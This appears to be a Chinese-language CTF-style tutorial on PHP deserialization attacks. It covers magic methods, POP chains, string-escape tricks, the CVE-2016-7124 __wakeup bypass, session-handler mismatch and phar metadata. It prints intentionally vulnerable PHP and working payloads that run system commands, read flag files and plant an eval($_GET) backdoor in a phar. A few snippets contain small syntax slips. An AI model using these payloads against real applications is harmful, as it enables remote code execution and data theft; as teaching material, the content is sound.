PHP反序列化漏洞

一、基础知识

php面向对象的基本概念

类与对象

1
2
3
4
5
6
7
8
9
10
11
12
13
class hero{
var $name; #var默认是public
public $sex;
function(){
echo $this->name; #必须用this访问类内变量
}
}

$cyj= new hero();
$cyj->name='chengyaojin'; #注意不是.访问
$cyj->sex='male';
$cyj->function();
print_r($cyj); ->输出name和sex

public:任何地方调用

protected:外部不允许调用

private:子类、外部不允许调用

php中的继承:class hero2 extends hero{...}

PHP序列化:对象->字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
null -> N;
666 -> i:666;
66.6 -> d:66.6;
true -> b:1;
false -> b:0;
'benben' -> s:6:"benben"; #6是长度,我们插入双引号不会提前闭合
array('benben','dazhuang','laoliu'); ->
a(array数组):3(参数数量):{i:0(编号);s:6:"benben";i:1;s:8:"dazhuang";i:2;s:6:"laoliu";}

class test{ public $pub='benben';} -> O(object对象):4(类名长度):"test"(类名):1(变量数量不包含函数):{s:3:"pub";s:6:"benben";(分别是名字和值)..;...;}

class test{ private(私有) $pub='benben';} -> O(object对象):4(类名长度):"test"(类名):1(变量数量不包含函数):{s:9:"testpub"(加上了%00+类名+%00,所以长度是9);s:6:"benben";(分别是名字和值)}(%00是空)

class test{ protected $pub='benben';} -> O(object对象):4(类名长度):"test"(类名):1(变量数量不包含函数):{s:6:"*pub";s:6:"benben"(加的是%00+*+%00);(分别是名字和值)..;...;}
#提交的时候记得url编码

class test2{ var ben; function _construct{ ben=new test(); }} -> O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}} #ben的值就是test类序列化之后字符串

PHP反序列化

反序列化生成的是一个对象,如果没有这个类,有报错,也可以执行

反序列化生成的对象的值,又反序列化内的值提供,与预定义的默认值无关

反序列化不触发类的方法,需要用魔术方法

我们反序列化的代码,要用%00进行urldecode($d)

1
2
3
4
5
$d='O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}';
$d=urldecode($d);
var_dump(unserialize($d));
$f=unserialize($d);
$f->displayVar(); #调用类内函数,必须存在这个类的函数

二、反序列化漏洞基础

反序列化漏洞的成因:unserialize接受的值可控

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a);
}
}

$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;

?>

利用:让$b成为test类的一个对象,构造$a,调用eval函数,执行命令

1
?benben=O:4:"test":1:{s:1:"a";s:13:"system("id");";} #序列化的字符串必须是双引号包裹

魔术方法

魔术方法:一个预定义的,特定情况触发的行为方法

重点:触发时机,功能,参数,返回值

1.__construct()

实例化一个对象的时候,会自动执行构造函数
$a=new User(“benben”);

2.__destruct()

销毁一个对象会自动调用,我们反序列化生成的对象也会自动调用析构函数!

3.__wakeup()

反序列化unserialize()之前自动调用__wakeup()

不需要构造所有的类属性,只用构造有用的

4.__sleep()

serialize()函数之前会自动调用__sleep()

功能:返回被序列化存储的成员属性 参数:属性,不必要

1
2
3
4
public function __sleep() {
return array('username', 'nickname');
} #重写了__sleep(),echo serialize($user);只会输出这两个的值
#O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}

5.__toString()

表达方式错误时触发,构造pop

1
2
3
4
5
6
7
8
$test = new User() ;
print_r($test);
echo "<br />";
echo $test; #参数格式错误,调用__toString()
print $test; #参数格式错误,调用__toString()
文件操作函数加一个对象,也会触发
file_exists($test);
. 是字符串连接符,当然也可以调用

6.__invoke()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __invoke()
{
echo '它不是个函数!';
}
}
$test = new User() ;
echo $test ->benben;
echo "<br />";
echo $test() ->benben; #当把一个对象当做函数执行,__invoke()自动调用
?>
this is test!!
它不是个函数!

7.__call()

调用时机:当调用对象的一个不存在的方法时触发
参数:可传入参数,默认2个($不存在方法的名字,$传入的参数名字)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test -> callxxx('a');
?>

callxxx,a

8.__callStatic()

静态调用不存在的方法$test::callxxx('a');

其他与call相同

9.__get()

当成员属性不存在时调用

$test->var2;变量不存在时会调用

默认传参不存在的变量名,$arg1

10.__set()

当给不存在的成员属性赋值时触发

参数:属性名,传入的值

11.__isset()

当对不可访问属性(private,protected或者不存在)使用isset()或empty(),isset()会被调用

传参$arg1:不存在的成员属性名称

12.__unset()

当对不可访问属性或不存在的属性使用unset()触发

传参$arg1:不存在的成员属性名称

13.__clone()

当使用clone关键字完成拷贝一个对象后,新对象会自动调用定义的魔术方法__clone()

1
2
$test = new User() ;
$newclass = clone($test); #克隆对象必须存在

POP链前置知识

1.例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2); #利用点
}
}
unserialize($_GET['test']);
?>

#eval->action()->__destruct()->$test,需要把test变成evil对象,反序列化的时候定义$test为new evil()->赋值test2进行利用

反序列化不会触发__construct(),可以写入$test

在构造序列化字符串时,可以编写程序,略去无关的函数和类,把需要赋值的数据写上即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class index {
private $test;
public function __construct()
{
$this->test = new evil();
}
}

class evil {
var $test2="system('id');";

}
echo serialize(new index());
?>

或者假设$test是public,构造完之后再加上%00index%00:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class index {
var $test;
}

class evil {
var $test2;
}
$a=new evil();
$a->test2='system("ls -l");'
$b=new index();
$b->test=$a;
echo serialize($b);
?>

2.魔术方法触发的前提:魔术方法所在的类或对象被调用(也就是new函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
error_reporting(0);
class fast {
public $source;
public function __wakeup(){
echo "wakeup is here!!";
echo $this->source;
}
}

class sec {
var $benben;
public function __tostring(){
echo "tostring is here!!";
}
}
$b = $_GET['benben'];
unserialize($b);
?>
#想要触发sec中__toString()->让source类型错误,利用fast的__wakeup->$source=new sec();

如果反序列化对应的类里没有__wakeup()函数,那么不会执行

构造语句:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class fast {
public $source;
}
class sec {
var $benben;
}
$a=new sec();
$b=new fast();
$b->source=$a;
echo serialize($b);
?>
O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}

三、反序列化漏洞利用

1.POP链的构造

也就是通过魔术方法的多次跳转来获取敏感数据,倒推法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)#2:想办法调用append(),而且$value必须是flag.php,从而而读取出来$flag
{
include($value);
echo $flag; #1:触发echo,调用flag
}
public function __invoke(){
$this->append($this->var); #3:invoke()调用了append(),传入了var,当把一个对象当做函数执行,__invoke()自动调用
}
}

class Show{
public $source;
public $str;
public function __toString(){#7:如何触发__tostring(),表达方式错误时触发(echo 对象)
return $this->str->source;#6:这里访问了一个类内的变量,可以实现get报错
}
public function __wakeup(){#9.反序列化触发__wakeup()
echo $this->source; #8.把自己(Show)当成一个对象,echo输出,触发__toString()
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){#5.想要4,必须调用__get(),当成员属性不存在时调用
$function = $this->p;
return $function(); #4:如果p是一个对象Modifier,那么类就能被当做函数使用,从而invoke()执行
}
}

if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>

__construct():在反序列化没用

正向分析:

1
2
3
4
5
6
构造Show对象的反序列化,触发__wakeup()
构造$source为Show对象,让对象以错误的方法输出,自动调用__toString()
构造$str为Test,实现访问类内不存在的变量,自动调用Test的__get()
构造$p为Modifier,从而实现类名被当做函数使用,自动调用Modifier里的__invoke()
__invoke()调用了append($var),传入$var=flag.php
append()函数自动读取flag

构造POC:删掉所有函数,赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Modifier {
private $var='flag.php';#私有属性类内赋值
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}
$test=new Test();
$show=new Show();
$show->source=$show;
$show->str=$test;
$mod=new Modifier();
$test->p=$mod;
echo serialize($show);
?>
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
记得改%00

四、字符串逃逸基础

应对的是题目把你输入的指令序列化,过滤,再反序列化

1、字符减少——吃

当反序列化添加了不存在的属性,必须把属性个数增加

如果成员个数与大括号内不一致,报错bool(false),字符串长度必须正确,否则报错

如果缺少了类内的某个变量,序列化之后的对象会自动赋默认值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
;}
#当前面的内容没有问题,;}就是序列化字符串的结束符,后面的东西无影响,没有问题就是;}不在字符串的长度之中
#属性逃逸
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';

public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>

在经过str_replace()处理之后,字符串的长度已经和数字不同,反序列化失败

此时序列化的字符串变成了:O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}

11个顺序向下读取,v1的值变成abc";s:2:"v

如果把123之前的代码全部吃掉abc";s:2:"v2";s:3:",那么123处就能成为功能性代码

注意:图中少了分号,计算的时候,要把双引号吃掉!用xx数个数是因为,v2的值是我们构造的代码,一般长度超过十位数,用两位xx代替计算

abc";s:2:"v2";s:xx:"吃掉20个,去掉abc还需要吃17个,需要3个system(),24个多出来7个,那就让最后加上7个字符1234567

绿色部分是要构造的字符串,我们创建一个新属性进行逃逸

这个新属性首先要闭合我们吃掉的双引号,再加上分号闭合之前的语句,之后就可以构造想要的属性了,最后记得用;}闭合语句,这样就注释掉了原本的”;

反序列化生成的是三个属性的对象,v2是默认值

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name); #字符减少
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){ #vip改为true
echo file_get_contents("flag.php");
}
?>

构造poc

1
2
3
4
5
6
7
8
9
<?php
class test
{
var $user="flag";
var $pass="benben";
var $vip=true;
}
echo serialize(new test());
O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}

我们要构造";s:3:"vip";b:1;}

flag是吃2个,php吃1个,吃掉的部分是";s:4:"pass";s:xx:" 吃19个->10个flag,多一个,在benben之前加个1

user=flagflagflagflagflagflagflagflagflagflag

pass=1”;s:3:”vip”;b:1;}

因为我们吃掉了pass属性,object处的个数不对,所以这里还要构造一个pass属性

pass=1”;s:4:”pass”;s:6:”benben”;s:3:”vip”;b:1;}

2.字符增多——吐

把原本属于字符串的代码吐出来,在一个变量即可完成

1
2
3
4
5
$data = str_replace("ls","pwd",$data);	#长度加了1
O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
-> O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
#想要构造 ";s:2:"v3";s:3:"666";} 需要吐出来22位,一个ls吐一个
$v1=lslslslslslslslslslsls.....lsls";s:2:"v3";s:3:"666";}

实际应用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param)); #param给user赋值
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){#需要改变pass属性的值
echo file_get_contents("flag.php");
}
?>

php会变成hack,长度增加,吐代码,一次吐一个

构造poc:

1
2
3
4
5
6
7
8
9
10
11
<?php
class test
{
var $user="benben";
var $pass="escaping";
}
echo serialize(new test());
O:4:"test":2:{s:4:"user";s:6:"benben";s:4:"pass";s:8:"escaping";}
# ";s:4:"pass";s:8:"escaping";}这段就是我们要逃逸的代码
#需要29个php
$param=phpphp...29...php";s:4:"pass";s:8:"escaping";}

五、wakeup绕过

CVE-2016-7124

如果属性个数大于真实属性个数,会跳过___wakeup()的执行

php5<5.6.25 php7<7.0.10

1
2
3
4
5
6
7
function __wakeup(){
$this->file='index.php';
}
preg_match('/[oc]:\d+:/i',$cmd)
#o后面不能跟数字,数字前面加上一个加号,url编码绕过
O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}
O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

影响代码执行

六、引用的利用方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include("flag.php");
class just4fun {
var $enter;
var $secret;
}

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass); #过滤了*
}

$o = unserialize($pass);

if ($o) {
$o->secret = "*";#重置了secret,同理,判断两个是否相等的题都可以引用
if ($o->secret === $o->enter)#让$enter=*
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>


$a=new just4fun();
$a->enter=&$a->secret; #enter是secret的一个引用,enter等于secret
echo serialize($a);
O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

七、session反序列化

session

当session_start()被调用或者php.ini的session.auto_start为1时,PHP内部会调用会话管理器,访问用户session被序列化后,存储到指定目录,默认为/tmp,sess_??????

存储数据的格式有很多种,常见的有三种

漏洞产生:写入格式与读取格式不一致

1.benben|s:6:”123456” 默认是php处理

2.php_serialize:声明ini_set(‘session.serialize_handler’,’php_serialize’);

a:2:{s:6:"benben";s:8:"dazhuang";s:1:"b";s:3:"666";}以数组形式存储

3.php_binary:ini_set(‘session.serialize_handler’,’php_binary’);

二进制的06代表键长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>

<?php
highlight_file(__FILE__);
error_reporting(0);

ini_set('session.serialize_handler','php');
session_start();

class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>

两段代码以不同的方式分别对session进行读写,引起反序列化漏洞

我们写入|O:1:"D":1:{s:1:"a";s:13:"system("id");";}

经过php_serialize的方式写入之后变成a:1:{s:3:”ben”;s:39:”|O:1:”D”:1:{s:1:”a”;s:13:”system(“id”);”;}”;}

经过php方式读取时,会误以为竖线前面的是键名,后面是反序列化的值,于是生成了我们需要的D对象

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
/*hint.php*/ hint.php可以提交session,使用php_serialize方法
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
?>

使用引用来做

$a->name=&$a->her;

构造前面加一个竖线

八、phar反序列化

如果没有反序列化的点,可以上传文件可用phar

类似于jar的一种打包文件,php>5.3默认开启

利用phar伪协议读取.phar文件

$phar结构$

文件标识,格式为xxx<?php xxx;__HALT_COMPiler;?>

mainfest压缩文件的属性信息,以序列化存储

content内容 signature签名

phar协议解析文件时,会自动触发对mainfest字段的反序列化

结构图

1
2
3
4
5
6
7
8
9
10
11
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
$filename=$_GET['filename'];
var_dump(file_exists($filename));
?filename=phar://test.phar

配合文件上传使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Testobj //改成你的类名
{
var $output='';
}

@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();//别忘了改类名
$o->output='eval($_GET["a"]);';//两个eval可以不用重新计算长度
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>

phar://协议不看后缀,上传jpg/png都可以成功读取

要有可用的反序列化魔术方法作为跳板 __destruct __wakeup

要有文件操作函数

文件操作函数参数可控,不过滤 : / phar